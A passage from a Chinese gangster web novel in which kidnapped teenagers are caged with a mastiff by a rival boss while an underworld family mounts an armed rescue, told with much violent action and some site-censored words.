抱着母亲的苏旭,不知从哪里爆发出惊人的力量,竟猛地将母亲往陈曦方向一推,自己像一颗出膛的炮弹,朝着离他最近的一个组织成员扑了过去!目标精准,那人正是刚才抽打他母亲、用手刀劈晕她的那个壮汉!
苏旭用尽全身力气,死死抱住那壮汉粗壮的大腿,张开嘴,带着满腔的仇恨和**,狠狠地、不顾一切地咬了下去!牙齿深深嵌入皮肉!
壮汉猝不及防,剧痛让他发出一声凄厉的惨嚎!他疼得面孔扭曲,铁锤般的拳头如同雨点般,疯狂地、毫不留情地砸向苏旭的脑袋和后背!“松口!给老子松口!我打死你!”
沉闷的击打声令人心胆俱寒!苏旭的头瞬间被打得歪向一边,温热的鲜血从他额头、嘴角汩汩涌出,染红了半边稚嫩的脸庞,滴落在尘土里。但他那双眼睛却死死瞪着,牙齿像焊**一般,咬得更深了!喉咙里发出模糊不清的呜咽,像受伤野兽最后的悲鸣!
“小旭!!”张霆琛目眦欲裂,拼命挣扎想要冲过去,却被身后的两人死死钳住双臂,动弹不得!他嘶声力竭地朝着鬼发怒吼:“你答应过我的!不准伤害我朋友!”
那壮汉剧痛难忍,眼中杀机暴涌!他空出的手猛地摸向腰间枪套!“砰——!!!”一声震耳欲聋的枪响,撕裂了郊外死寂的夜空!枪口喷出的火焰在昏暗中格外刺眼!
**没有射向苏旭,而是精准地击中了壮汉刚刚拔出枪的手腕!比刚才惨烈十倍的嚎叫声响起!壮汉的手腕爆开一团血花,**脱手飞出,在空中划了个弧线,掉落在几米外的草丛里。
开枪的,正是
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李辰浩!在壮汉拔枪指向苏旭的生死一瞬,他果断调转枪口,扣下了**!**的余韵还在旷野回荡,硝烟味弥漫开来。
“找死!”面包车前座,另一个负责警戒的成员反应极快,怒喝一声,闪电般掏枪,枪口直指刚刚开枪、身体还因后坐力微微晃动的李辰浩!
千钧一发!被架住的张霆琛瞳孔骤缩!求生的本能和救兄弟的意志压倒了一切!他不知哪来的力气,猛地挣脱了瞬间松懈的钳制,整个人如同猎豹般扑向那个举枪的成员!
“砰!”**再响!但**却呼啸着射向了漆黑的夜空!是张霆琛!他在对方扣动**的最后一刹那,死死抓住了对方握枪的手腕,用尽全身力气向上猛抬!灼热的枪口几乎擦着他的头皮飞过!
“妈的!一群疯子!”鬼发的脸彻底阴沉下来,如同暴风雨前的乌云。精心设计的“交易”被彻底搅乱,这让他感到了前所未有的羞辱和暴怒。他冰冷的声音如同来自九幽地狱,带着不容置疑的杀伐决断:“都他妈给我带走!一个不留!”
命令如山!被打中手腕的壮汉强忍着剧痛,一把薅住满脸是血、几乎虚脱的苏旭的头发,像拖死狗一样将他粗暴地拽向面包车。车门“哐当”一声打开,苏旭和张霆琛被狠狠地塞了进去。
车厢内弥漫着浓重的血腥味和汗臭味。被打中手腕的壮汉撕开衣服,手忙脚乱地给自己捆扎止血,嘴里不停地咒骂着。苏旭瘫在冰冷的车地板上,终于松开了带血的牙齿,大口喘着气,每一次呼吸都牵扯着全身的疼痛。
张霆琛挣扎着靠过去,声音因心痛和愤怒而嘶哑:“小旭!你傻吗?!为什么要这样!”苏旭艰难地抬起头,脸上血污和尘土混在一起,狼狈不堪。但他却努力扯出一个笑容,那笑容在血迹斑斑的脸上显得格外天真,也格外刺眼:“二哥,是我连累了你…”他喘了口气,断断续续地说,“现在好了,要死咱兄弟死在一块儿,没遗憾了”
“笨蛋!你这个笨蛋!”张霆琛的眼泪再也控制不住,夺眶而出。他一把将苏旭紧紧搂进怀里,滚烫的泪水滴落在苏旭染血的头发上,“是我害了你,对不起,真的对不起”
苏旭虚弱地抬起沾满血污的手,在张霆琛背上轻轻捶了一下,气若游丝:“是我们家,连累了大家,该道歉的是我”他的声音越来越低。
“够了!”鬼发坐在前排,这生离死别般的肉麻对话让他极度烦躁,胃里一阵翻腾。他猛地转过身,眼中凶光毕露,毫不留情地扬起手刀,带着凌厉的风声,精准地劈在张霆琛和苏旭的后颈,张霆琛和苏旭的身体瞬间软倒,失去了所有知觉,无声地倒在车厢冰冷的地板上。
车厢里只剩下粗重的喘息和压抑的咒骂。那手腕受伤的壮汉草草包扎完毕,剧痛和愤怒让他脸色狰狞。他喘着粗气,指着昏迷的苏旭,恶狠狠地问:“大哥!这小崽子留他干嘛?直接宰了省事!”
令人意外的是,鬼发脸上竟浮现出一丝极其阴冷的、如同毒蛇盘踞般的笑容。他瞥了一眼地上的苏旭,声音低沉而残酷:“留着。给他止下血。”他顿了顿,目光扫过昏迷的张霆琛,嘴角的弧度愈发诡异,“审问的时候有他在,不怕撬不开他兄弟的嘴!”那阵阵阴冷的笑声在颠簸的车厢内回荡,如同毒蛇吐信,让人不寒而栗。
面包车卷起漫天尘土,如同吞噬生命的怪兽,咆哮着消失在浓墨般的黑暗尽头。车下,李辰浩没有徒劳地去追。他像一尊被抽空了灵魂的雕塑,僵硬地站在原地,手中的枪无力地垂下,**还残留着射击后的余温。几秒后,他才猛地惊醒,颤抖着手掏出手机,屏幕的光映着他毫无血色的脸和布满血丝的眼睛。他拨通了那个紧急的号码:“薛妈,出事了”
电话挂断。一直强忍着恐惧的陈曦终于崩溃,压抑的哭声如同受伤的小兽呜咽,在死寂的荒野中格外清晰:“大哥,怎么办啊,二哥跟苏旭…”
李辰浩深吸一口气,那冰冷的空气刺痛了他的肺腑。他转过身,用力地、重重地拍在陈曦颤抖的肩膀上。他的声音低沉,带着一种强行压下的哽咽,却异常坚定,每一个字都像从胸腔里砸出来:“别怕。大哥向你保证”他抬起头,目光如同淬火的利刃,死死钉在面包车消失的方向,那无边的黑暗仿佛要将他吞噬,但他眼中的火焰却越烧越旺,“我一定把他们活着带回来!一定!”
夜风吹过他汗湿的鬓角,吹不散那刻骨的寒意,也吹不灭那焚心的怒火。作为大哥,他不能垮。陈曦的哭声需要这个承诺,而他自己破碎的心,更需要这复仇的誓言来填补、来支撑。指节捏得咯咯作响,指甲深深陷入掌心,渗出血丝也浑然不觉。那无边的夜色里,一个刻骨铭心的誓言在无声地咆哮:救出兄弟!血债血偿!
第三十章:笼中血刃 薛妈暴怒
“妈的!到底是谁干的!”一声暴吼,慕容廷双目赤红,像头被激怒的雄狮,额角青筋暴跳,“一群饭桶!这么多人连个小琰都护不住,老子养你们是当摆设的吗?!”他胸膛剧烈起伏,怒火几乎要喷薄而出。
旁边的小弟噤若寒蝉,头几乎埋进胸口,声音发颤:“廷哥,刚抓到个尾巴,但嘴硬得很,撬不开,像是专门练过的死士。”
“练过?!”慕容廷抄起手边的水晶烟灰缸,裹挟着风声狠狠砸了过去!碎片四溅,小弟吓得猛一哆嗦。“他们练过就能在老子的地盘上明目张胆抢人?那我花大价钱练你们这帮废物有什么用!”咆哮声震得人耳膜嗡嗡作响。
一旁的陈海赶紧上前一步,声音沉稳却带着急迫:“大哥,息怒!现在不是发火的时候。罗刹那边刚递来消息,劫持小琰的人里,有‘鬼发’!是刘文殊座下五虎之一!”
“鬼发…刘文殊…”慕容廷眼中的怒火瞬间淬上一层寒冰。他深吸一口气,强迫自己压下沸腾的杀意,重重坐回沙发,指关节捏得发白。“让‘狼组’全体出动,今晚!掘地三尺也要把小琰给我挖出来!‘犬组’、‘影队’立刻进入一级待命!”声音低沉,却蕴含着风暴来临前的死寂。狼组如幽灵般渗透潜伏,影队是黑暗中致命的獠牙,犬组则负责嗅探追踪,这三支王牌力量,正是他慕容廷稳坐青龙会头把交椅的底牌,此刻,尽数亮出。
陈海领命,带着噤声的小弟迅速退下。门刚合拢,就被“砰”地撞开!慕容景云像阵旋风冲进来,脸上混杂着惊惶与暴怒:“爸!小琰怎么了?!谁他妈吃了熊心豹子胆敢动他!”
慕容廷本就绷紧的神经被儿子这莽撞一冲,太阳穴突突直跳,脑仁针扎似的疼。门外的陈海眼疾手快,一把将慕容景云拽了出去:“你爸现在就是座活火山,别添乱了!人手已经撒出去,很快会有消息!”
慕容景云急得像热锅上的蚂蚁,在原地团团转,对着陈海的背影嘶喊:“海叔!有信儿第一个告诉我!必须告诉我!”陈海脚步未停,只用力点了下头,身影消失在走廊尽头。
与此同时,吉市,刘文殊的秘密据点。一路颠簸,张霆琛被晃得头晕目眩,车子终于停下。他和苏旭被粗暴地拖进一个空旷阴冷的大厅。刺目的灯光下,一个巨大的铁笼如同巨兽的獠牙,矗立中央。两人被毫不留情地推了进去,铁门“哐当”一声落锁,冰冷的回音在空旷中震荡。
脚步声沉稳响起。一个面容阴鸷的中年男人在几名彪悍保镖的簇拥下踱步而来,停在笼外,正是刘文殊。他目光如毒蛇般扫过笼中猎物,嘴角扯出一丝残忍的笑意:“鬼发,干得漂亮。”随即,他眉头一皱,像发现了碍眼的虫子,“怎么多了一个?”
鬼发垂手侍立,声音平板无波:“这小子非要跟来,成全他了。多张嘴,撬起来更容易。”“哈哈哈哈!”刘文殊爆发出一阵得意而扭曲的大笑,笑声在空旷大厅里回荡,格外瘆人,“慕容廷!慕容廷!你也有今天!你儿子现在在我掌心,我看你还能不能像当年杀我弟弟那样威风!”笑声戛然而止,他猛地凑近铁笼,死死盯着张霆琛,眼神像要将他剥皮拆骨:“小子,说!你是不是慕容廷的种?!”
笼内,张霆琛脸色惨白,心脏狂跳如擂鼓,深入骨髓的恐惧几乎让他窒息。虽然不再像儿时那样会轻易掉泪,但面对这赤裸裸的死亡威胁,寒意仍从脚底直冲头顶。他强撑着,声音带着不易察觉的颤抖:“我姓张,张霆琛。不是什么慕容廷的儿子。”
“狡辩?”刘文殊嗤笑一声,眼神轻蔑,“你的底细,老子早扒得一清二楚!怎么,骨头还挺硬,死到临头还不认?”张霆琛紧抿着唇,不再说话。旁边的苏旭早已抖如筛糠,牙齿咯咯作响。刘文殊脸色一沉,失去了耐心:“给老子录像!”他厉声下令。两个手下立刻扛起摄像机,镜头对准了铁笼。更令人毛骨悚然的是,另一个手下牵来了一条体型庞大、鬃**如狮、涎水直流的巨型藏獒!那畜生喉咙里发出低沉的咆哮,血红的眼睛死死盯着笼中两人。
“放进去!”刘文殊冷酷地挥手。苏旭绝望的尖叫和张霆琛倒抽冷气的声音同时响起!那巨兽一旦入笼,他们顷刻间就会被撕成碎片!笼门被缓缓拉开,沉重的铁链摩擦声如同丧钟…
容市,慕容廷别墅。“大哥!狼组有信儿了!”陈海疾步闯入,“小琰被带到刘文殊在吉市的一个秘密巢穴了!”
慕容廷的心瞬间沉入冰窟!最坏的预想成真!儿子落入死敌刘文殊之手…想想自己手上沾的刘家血债,小琰此刻,怕是九死一生!但他强行压下翻涌的恐慌,眼神锐利如刀:“陈海!立刻调集人手,不惜一切代价营救!这些年摸到的刘文殊据点资料,全给我翻出来筛!”他必须抓住任何一丝可能。
命令刚下,一个焦急的女声伴随着急促的脚步声传来:“我去救小琰!”门口,薛妈——二十年前令人闻风丧胆的“罗刹姐”,眼神冰冷,杀气凛然。慕容廷看到她,紧绷的心弦稍松:“好!你带上小云,再挑几个顶尖好手!务必把人给我活着带回来!”罗刹一言不发,转身就走。
“爸!等等!”慕容景云几乎是和薛妈擦肩而过,他手里举着一个录像带,脸色铁青,“外面刚送来的!”
所有人的目光瞬间聚焦在那小小的带子上,空气凝重得能滴出水来。陈海接过带子,快速检查后,塞进了播放机。
画面亮起的瞬间,整个房间的空气仿佛被抽干了!只见一只狰狞的藏獒被牵入铁笼,笼中蜷缩的,正是张霆琛和苏旭!巨犬狂吠着扑向角落,两个孩子惊恐后退,在狭小的空间里绝望地绕着圈躲避。突然,藏獒一个猛扑!千钧一发之际,张霆琛的身影猛地一矮,手腕闪电般一翻,一道寒光自腰间暴起,竟是一把细长、不足十五厘米的锋利小**!它巧妙地藏在腰带下,逃过了搜身。
“噗嗤!”刀尖精准地向上挑入藏獒的前肢内侧。藏獒吃痛,发出一声凄厉的惨嚎,庞大的身躯轰然砸地!**太小,未中要害,反而彻底激怒了这头猛兽。它挣扎起身,围着两人打转,低吼声更加狂暴,准备发动更致命的攻击。
令人惊愕的是,张霆琛此刻竟站直了身体。在苏旭惊恐的拉扯中,他缓缓闭上了眼睛!藏獒岂会放过这绝佳机会?后腿猛蹬,带着腥风如炮弹般扑向闭目的少年!
就在獠牙
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即将触及咽喉的刹那!张霆琛双眼骤然睁开!精光爆射!双腿如弹簧般发力,腰身不可思议地向后一折,整个身体竟在瞬间与扑来的藏獒形成诡异的平行!时间仿佛凝固!寒光再闪!**化作一道银线,精准无比地刺入藏獒脖颈要害的筋络!
“嗷呜——!”藏獒庞大的身躯轰然坠地,发出沉重的闷响。它还未死透,四肢抽搐。张霆琛没有丝毫停顿,身影如鬼魅般扑上,手起刀落!“噗!噗!噗!”三刀快如闪电,刀刀贯入头颅!凶悍的藏獒,竟在电光火石间毙命于一个少年之手!
屏幕前,陈海瞳孔骤缩,失声惊呼:“灵…感…动!人刀合一!小琰他竟在生死关头悟出来了!”作为师父,他心中担忧如焚,却又涌起难以言喻的狂喜与震撼!这“人刀合一”的境界,他陈海二十一岁方窥门径,而他的徒弟张霆琛,年仅十六岁,在绝境中顿悟!甚至比他那天资卓绝的哥哥慕容景云,还早了整整三年!
众人刚为这惊险一幕松了半口气,镜头猛地一转,对准了拍手狞笑的刘文殊。“精彩!真是精彩!”刘文殊鼓着掌,笑容扭曲,“虎父无犬子啊!慕容廷,你儿子有几分你的狠劲儿!不过嘛…”他话锋一转,语气森然,“游戏才刚开始!接下来,每隔一小时,我就往这笼子里放一条狗!看看你这宝贝儿子能撑多久!想让你儿子少受点罪?简单!你慕容廷,亲自来我的地盘!或许老子心情好,还能考虑放他一马!哈哈哈哈哈哈!”那刺耳癫狂的笑声回荡在别墅里。
笑声未绝,暴怒的薛妈已如闪电般冲到电视机前,蕴含恐怖力量的一脚狠狠踹在屏幕上!液晶屏瞬间爆裂,碎片四溅!薛妈站在那里,周身散发着实质般的冰冷杀气,指节捏得咔咔作响,青筋如虬龙般爬满手臂。她转头,声音像从九幽地狱传来,冰冷刺骨:“走!”慕容景云被这气势所慑,毫不犹豫地紧跟其后,两人杀气腾腾地冲出了别墅。
薛妈的怒火足以焚天!而沙发上的慕容廷,他沉默着。时间仿佛凝固,只有他指间雪茄的烟雾在无声缭绕。那沉默像暴风雨前的死寂,压抑得让人喘不过气。许久,他缓缓抬眼,眸子里只剩下一种冰封的、玉石俱焚的决绝:“陈海,备车。”
陈海大惊失色:“大哥!你不能去!那是龙潭虎穴!”
“我必须去!”慕容廷的声音斩钉截铁,“但不是去送死!立刻联系狼组,给我从录像带里挖出拍摄地的具体位置,同步给罗刹和小云!这次…”他站起身,一股无形的、磅礴的威压弥漫开来,“老子不仅要救人,还要顺道把刘文殊这条老狗,给生吞了!吉市,老子要定了!”
陈海脸色剧变,依旧试图阻拦:“大哥!这不合规矩!五爷那边我们没法交代啊!”
“交代?”慕容廷嘴角勾起一抹冷酷到极致的弧度,“打下吉市,利润我给他六成!这条挡路的老狗,老子看他,已经活到头了!”
陈海看着慕容廷眼中那不容置疑、近乎疯狂的决心,知道再劝无益。他重重叹了口气,脸上只剩下破釜沉舟的凝重:“是!大哥!我这就去布置!”他转身,步伐沉重却无比迅速地消失在门口,一场腥风血雨,已然拉开序幕。
第三十一章:兵分三路入吉市
陈海的动作迅捷如猎豹,悄无声息间,一千多精干人马已在两小时内集结完毕。为避免打草惊蛇,先派犬组先行一步。
夜幕低垂,华灯初上时,慕容廷的电话刺破了书房的宁静。听筒里传来刘文殊那如同砂纸摩擦般的声音:“老廷啊!废话省了,想要你儿子安全回来,就给我识相点,别耍花腔!一天,就一天!你一个人,到我这儿来。咱哥俩‘叙叙旧’,完事儿,你领人走!”那“叙叙旧”三个字,裹着浓浓的恶意,像淬了毒的钩子。
慕容廷握着话筒,指节微微发白,声音却稳如磐石,甚至带上了一丝戏谑:“想请我叙旧?何必费这么大周章?抓的孩子?呵,眼生得很哪。不过嘛…”他话锋一转,寒气隐现,“既然老哥这么‘念旧情’,我慕容廷岂能扫兴?明早,准时登门拜访!”
“痛快!哈哈哈!”电话两端同时爆发出笑声,那笑声在空旷的房间里回荡,虚假得如同劣质舞台剧的台词,不知情者,怕真以为这是两位情深义重的故交。电话挂断的忙音刚落,书房的门“吱呀”一声被推开。一个身影大步流星地跨进来,带着一股风尘仆仆的硬朗气息:“这回,算我一个!”
来人竟是陈曦的父亲,陈鼎!慕容廷眼中闪过一丝意外,随即大步上前,给了他一个结结实实的熊抱,那力道几乎要把人嵌进骨头里:“老陈?什么风把你吹出山了?”
陈鼎拍了拍慕容廷紧绷的脊背,开门见山:“我那宝贝闺女为了她的小男友,在我耳边磨了一天!不过,”他眼神陡然锐利,“这还不是主因。你要对吉市动手了?”
“是!”慕容廷松开手,脸上的轻松瞬间褪去,只剩下一片冰冷的肃杀。“是不是急了点?棋盘上,还差几颗关键的棋子没落稳呢!”陈鼎眉头微蹙。
“等不了!”慕容廷斩钉截铁,眼中燃烧着近乎疯狂的火焰,“我儿子在他手里!刘文殊,必须死!”陈鼎沉默片刻,重重点头:“所以我来了。吉市的局长,我替你约。今晚,我们就去!”
“不行!”慕容廷断然拒绝,声音低沉,“你这条暗线,我埋了多少年心血!现在暴露,代价太大!”
陈鼎却无所谓地摆摆手,脸上带着一种历尽沧桑的豁达:“当年跟着你刀口舔血的兄弟,如今死的死,残的残,剩下那几个,不都被你藏得严严实实?我暴露了,不还有他们顶上?再说了,”他眼中精光一闪,透着不容置疑的自信,“打下吉市,我替你坐镇了!”
这话若是旁人说出,慕容廷定要疑心对方包藏祸心。但陈鼎不同,他与陈海一样,是慕容廷草莽起家时便生死相随的臂膀,忠诚早已刻进了骨血。慕容廷凝视着老友染霜的鬓角,语气松动:“你有家有口了,这样冒险……”
陈鼎闻言,脸上立刻浮起一丝不悦:“老廷!你怎么变得婆婆妈妈了?我想好了,救出你儿子,就把孩子们都送走!送到天涯海角,总有一处安稳地!”他那份不容置疑的决断,仿佛又回到了当年并肩冲锋的岁月。
慕容廷心头一震,是啊,顾虑太多,反而束手束脚!“好!”他终于重重拍板。两人不再多言,当即点齐人手,提前奔赴吉市。随行的保镖中,赫然便有那位凶名在外的“刀哥”和气势迫人的“虎哥”,如同两尊沉默的煞神。
慕容廷这边刚定下行止,薛妈与慕容景云也已准备妥当,他们没带大队人马,只点了几个绝对心腹,正要登车赶往吉市营救张霆琛。引擎刚发出低吼,一个身影猛地冲到车前,张开双臂死死拦住去路,是李辰浩!
薛妈推开车门,身影在夜色中显得冷峭:“你来做什么?”“我跟你们去!”李辰浩的声音不高,但每一个字都透着不容动摇的执拗。
慕容景云探出头,满脸不耐:“你算哪根葱?赶紧滚回家去!这趟浑水不是你这种小屁孩能蹚的!玩不好,命都得搭进去!”他语气里满是轻蔑与烦躁。
李辰浩抿紧嘴唇,一言不发,但那双年轻的眼睛在昏暗的光线下却亮得惊人,像燃烧的炭火,死死盯着慕容景云,无声地宣告着他的决心。僵持中,薛妈清冷的声音响起:“他对小琛的心,是真的。让他上车吧。”那声音里带着一种阅尽千帆的了然。
慕容景云无奈地哼了一声,扭过脸对李辰浩恶狠狠道:“丑话说前头!老子没空护着你!生死各安天命!”李辰浩紧绷的脸上终于绽开一个如释重负又带着点倔强的笑容,用力点点头,敏捷地钻进了车厢。
车轮滚动,车厢内气氛凝重。慕容景云将一份资料递给薛妈:“刘文殊这老狐狸,您该是老相识了。他弟弟刘文松已死,现在还剩两个儿子和一个老不死的爹。要不要…从他儿子身上撕开个口子?”他眼中闪过狠厉的光。
薛妈的目光扫过资料上刘文殊那张阴鸷的脸,指尖无意识地摩挲着,仿佛在回忆什么。她沉思片刻,摇头道:“这老狐狸滑不留手,肯定早把软肋藏得严严实实。等陈海那边的消息吧,到了地头再议。”话音未落,慕容景云的手机急促响起,正是陈海。“郊区下车,有东西给你们。”陈海的声音言简意赅,不容置疑,说完便断了线。
车至郊区,陈海早已在路边等候。慕容景云等人下车,陈海锐利的目光扫过李辰浩,虽未置一词,却在他身上停留了一瞬。他转向薛妈,语气带着战场传递情报的精准:“罗刹,吉市那边有人接应。小琰视频里的背景,已经挖出来了。具体位置,接头人会告诉你们。”说完,他利落地转身,打开后备箱,捧出一个沉重的金属箱。
昏黄的路灯下,箱内静静躺着一对金光流淌、造型流畅的**,以及一对闪烁着冷冽银辉、刃如秋水的**!
薛妈的目光触及那对金枪银匕的瞬间,整个人如同被无形的电流击中,猛地一颤!那是她曾经的“獠牙”,是名震江湖的“金枪罗刹”从不离身的致命伙伴!退隐后,她亲手将它们封存,托付给最信任的陈海保管。多少血雨腥风,多少快意恩仇,此刻都随着这熟悉的冰冷触感汹涌回潮。曾经令一方枭雄闻风丧胆的顶级**,沉寂多年后,竟要再次握住这象征杀戮的权柄。空气仿佛凝固了,一股无形的、令人心悸的寒意以她为中心悄然弥漫开来。
薛妈,或者说,此刻更应称她为罗刹。缓缓走上前,她伸出手,指尖带着一丝不易察觉的微颤,轻轻抚过冰冷的枪身与锋利的刃口。那触感,熟悉得令人心头发烫。她拿起枪和**,掂量了一下,声音带着一丝久违的喑哑与感慨:“谢了,海弟弟。保养得…还算用心。”这声“海弟弟”如同投入平静湖面的石子,瞬间让周围所有心腹保镖的眼神都变得古怪起来,目光在陈海和凤凰之间来回逡巡。
陈海那张向来冷峻刚毅的脸,竟“腾”地一下涨得通红,仿佛被火烧着了。他猛地转过身去,假借几声咳嗽,狼狈地掩饰着自己的失态。这个小小的意外插曲过后,李辰浩便随着这支由传奇**、黑道少主和死士组成的奇特队伍,义无反
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顾地踏上了营救张霆琛的险途。
镜头切换,来到关押张霆琛的所在。一个散发着铁锈和霉味的阴暗房间中央,巨大的铁笼如同囚禁野兽的牢笼。张霆琛和苏旭蜷缩在冰冷的笼底,角落里两个看守如同沉默的影子。
“慕容廷…是你父亲?”苏旭的声音在寂静中显得格外干涩,带着难以置信的探寻。张霆琛沉默了片刻,仿佛在权衡,最终化作一声轻叹:“反正也瞒不住了,也没打算一直瞒着。只是知道了,你们可能更危险。没错,他是我爸。不过,”他嘴角扯出一个苦涩的弧度,“从小到大,他所谓的‘保护’,不过是嫌我碍眼罢了。连名字,都给我改了。”那话语里,藏着深深的疏离与不被认可的痛。
苏旭听完,眼中充满了同病相怜的悲悯:“看来咱们哥几个,都是苦藤上结的苦瓜。要不是因为我,你也不会被卷进来…”沉重的负罪感像铅块一样压在他的胸口,让他的声音越来越低,头也深深埋了下去。
张霆琛拍了拍他的肩膀,试图驱散那沉重的阴霾:“别瞎揽责任。没有你,他们也会找到别的法子下手。”话虽如此,看着苏旭那被自责啃噬得萎靡不振的样子,张霆琛知道言语的安慰苍白无力。心结,只能靠自己去解。
倒是旁边一个看守,打破了压抑的沉默。他叼着烟,眯眼打量着张霆琛,语气里竟带着一丝罕见的、对强者的欣赏:“小子,身手够硬!老大养的那几条畜生(藏獒),啃过的人骨头都能堆成小山了,今儿栽在你个小娃娃手里,不冤!有种!”那眼神,像是看一件被打磨得异常锋利的兵器。
张霆琛猛地抬头,眼神如鹰隼般锐利,刺向那看守:“你们到底想干什么?!”看守吐了个烟圈,目光飘向斑驳的天花板,带着点事不关己的漠然:“嘿,那得看上面大佬的意思喽,我们这种跑腿的,连边儿都摸不着。”张霆琛心中一凛,是啊,眼前不过是些听命行事的小卒子,真正的风暴漩涡,还在更高处。
镜头再次调转,聚焦在一家纸醉金迷的豪华歌厅。震耳欲聋的音乐、迷离闪烁的灯光、弥漫的烟酒气息,编织出一幅堕落的浮世绘。刘文殊左拥右抱,纵情声色,脸上挂着得意的笑容。活捉慕容廷的儿子,无疑是一记响亮的耳光抽在老对手脸上,让他心头那口积压多年的恶气,终于畅快地吐了出来。
然而,在这片喧嚣的狂欢之下,刘文殊的眼神深处,却始终藏着一丝冰冷的警惕。他绝非弟弟刘文松那种会被小胜冲昏头脑的蠢货。慕容廷的底牌有多深,他虽未能完全摸清,但也深知其恐怖。因此,纵情享乐的同时,他早已暗中下令,让手下布下了天罗地网,每一个环节都反复检查,力求万无一失。那看似放松的姿态下,紧绷的神经从未松懈。猎手在享受猎物落网的快感时,也从未忘记,自己面对的,同样是一头随时可能反噬的猛虎。
夜色如墨,暗流汹涌。营救张霆琛的行动,如同投入深水的巨石,激起千层浪花。慕容家三路人马,如同三柄出鞘的利刃,正从不同方向,无声而致命地刺向吉市的心脏地带,刘文殊的老巢。他们的目标清晰而一致:吞掉刘文殊,拿下吉市这块肥肉!但在这所有冰冷的算计与宏大的野心之上,最炽热、最迫切的愿望只有一个,确保那个名叫张霆琛的少年,平安归来。一场牵动多方神经、交织着亲情、忠诚、背叛与复仇的风暴,在吉市的上空,已然蓄满了毁灭性的力量,只待一个火星将其彻底点燃。
第三十二章:废厂喋血
冰冷的夜风像刀子般刮过吉市郊外。薛妈和李辰浩一行人刚抵达外围,便与前来接应的“犬组”成员汇合。对方带来的消息让空气瞬间凝固:视频背景分析出三个可疑地点,而狼组的绝密情报更如惊雷,慕容廷一旦踏入吉市,目标即刻灭口!时间,只剩下这一个诡秘的夜晚。
“兵分两路!”薛妈的声音斩钉截铁,打破了沉重的寂静,眼中寒光如电,“我、李辰浩,带两人,再加一位‘犬组’引路的兄弟。小云带两人,配一名‘犬组’成员。现在凌晨1点,三点前必须完成侦查!目标确认无误,即刻救人;若无发现,三点半原地集合。明白没有?!”
“明白!”低沉的回应在寒夜中响起。金属碰撞的轻响和**上膛的咔嚓声汇成一片,所有人迅速检查装备,随即如两道暗影,悄无声息地融入了城市的边缘。
慕容景云的目标是一座废弃工厂。月光惨白地洒在锈迹斑斑的铁皮和破碎的玻璃窗上,散发着死寂与危险的气息。没有丝毫犹豫,慕容景云打了个手势,三人如同壁虎般敏捷地翻过后墙。“犬组”成员则如融入夜色的影子,留在外围警戒,他们的战场是调查与潜伏,而非正面交锋。
刚一落地,慕容景云的心便沉了一下。仅仅外围就有五个身影在阴影中逡巡,警惕地扫视着四周。“真撞上了?”他心头一紧,随即被一股炽热的、营救弟弟的冲动点燃。慕容景云习惯性地摸了摸腰间冰冷的刀柄,那是他信赖的伙伴,几把精钢飞刀和一柄浸透煞气的**。他压低声音,对身后两名如岩石般沉静的精锐下令:“伍子!老三!跟我上!”这两位“影队”的成员,是暗夜中的猎杀者,格斗与潜行的一流好手。
三人借着残垣断壁的掩护,贴墙移动,顺着工厂外墙的管道和窗沿,悄无声息地攀上二楼。一条空旷、昏暗的长廊横亘在眼前,谁也不知道黑暗中是否藏着致命的枪口?他们没有停留,身形一纵,继续向上,灵巧地攀至屋顶。
慕容景云找到一个布满灰尘的天窗,小心翼翼地掀开一条缝隙。下方是一个挑高的大厅,此刻却成了罪恶的巢穴。昏黄的灯光下,十几个人影晃动,中央的椅子上,赫然绑着一个少年!慕容景云的心猛地提起,目光如炬地扫过那张脸和不是弟弟慕容廷!失望如冷水浇头,他瞬间冷静下来:非亲非故,何必涉险?就在他准备撤离的刹那,一个刺耳的声音钻入耳中:
“大爷您放一百八十个心!黄局长的公子好着呢,插翅难飞!这小子是关键!我都懂!整个地儿都围**,苍蝇都别想飞出去!”
电话里的只言片语如同投入湖面的石子,在慕容景云心中激起千层浪!黄局长?容市有几个姓黄的实权局长?慕容景云与伍子、老三交换了一个凝重的眼神,电光火石间已明白大半,刘文殊这老狐狸,不仅要借黑道之手,更要拉拢白道力量,对容市进行双重绞杀!劫走张霆琛的同时,竟连黄柏文局长的儿子也一并掳来了!
“这人,非救不可!”慕容景云眼中寒光一闪。但厅内十几双眼睛,硬闯无异送死。三人迅速密谋:由伍子潜回前门制造混乱引敌,能引走几个是几个。他们屏息凝神,仔细观察下方:明面上带枪的不多,但谁知道那些鼓囊囊的衣服下藏着什么杀器?绝不能轻举妄动。
伍子领命,身形如狸猫般消失在黑暗中。片刻后,前门方向传来一声沉闷的“噗!”,如同石子入水——那是装了***的**!紧接着是几声惊惶的呼喊。大厅内顿时炸开了锅!那个打电话的头目“刀疤脸”吼了一声:“跟我出去看看!”呼啦啦带走了一半人马,留下六人看守。
慕容景云毫不犹豫,一把掀开天窗,直接滑落!老三的枪口稳稳指向下方,提供致命的掩护。慕容景云脚尖刚触地,手腕一抖,一道寒芒没入最近一人的后心!那人连哼都未及哼出便软倒在地。
“什么人?!”剩下的五人瞬间惊觉!一人反应极快,拔枪就射!但屋顶的老三更快!枪火一闪,“砰!”精准的点射击中那人手腕,**应声而飞!第二人趁机瞄准慕容景云,扣动**!**呼啸而来!慕容景云的身影却如同鬼魅,一个不可思议的扭身,**擦着他的衣角射入地面!那**眼中刚闪过一丝惊骇,第二道寒芒已至,“噗嗤”一声,冰冷的飞刀精准地钉入了他的心脏!
剩下的三人凶相毕露,抽出**嚎叫着扑来!老三的枪再次怒吼,一人应声倒下。另外两人被**惊得下意识抬头,这刹那的分神,对慕容景云而言已足够漫长!他足尖点地,身影如离弦之箭突进,手中**划出两道凄厉的银弧!刀光过处,血线迸现!两人捂着喷血的喉咙,难以置信地倒了下去,动作干净利落,刀刀封喉!
大厅瞬间安静,只剩下浓重的血腥味弥漫。慕容景云甩了**锋上的血珠,一个箭步冲到被绑的少年面前,撕掉他嘴上的
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胶布,目光锐利如刀:“你爸是黄柏文?!”
少年脸色苍白,拼命点头,正是跟张霆琛同校的高三的“老大”黄伟!
“别废话,往上爬!快!”慕容景云割断绳索,指向天窗垂下的绳索。黄伟求生本能爆发,手脚并用地向上攀去。
“里面出事了!”“快回去!”被伍子引走的部分打手听到**,如同被踩了尾巴的狼,疯狂回扑!沉重的铁门被撞得“哐哐”作响!慕容景云牙关一咬,猛地将旁边一辆废弃的推车死死顶住大门!外面的人急红了眼,**如雨点般穿透薄薄的铁皮射入!慕容景云闷哼一声,左肩爆开一团血花!剧痛袭来,他身体一晃,却硬是咬牙顶住!
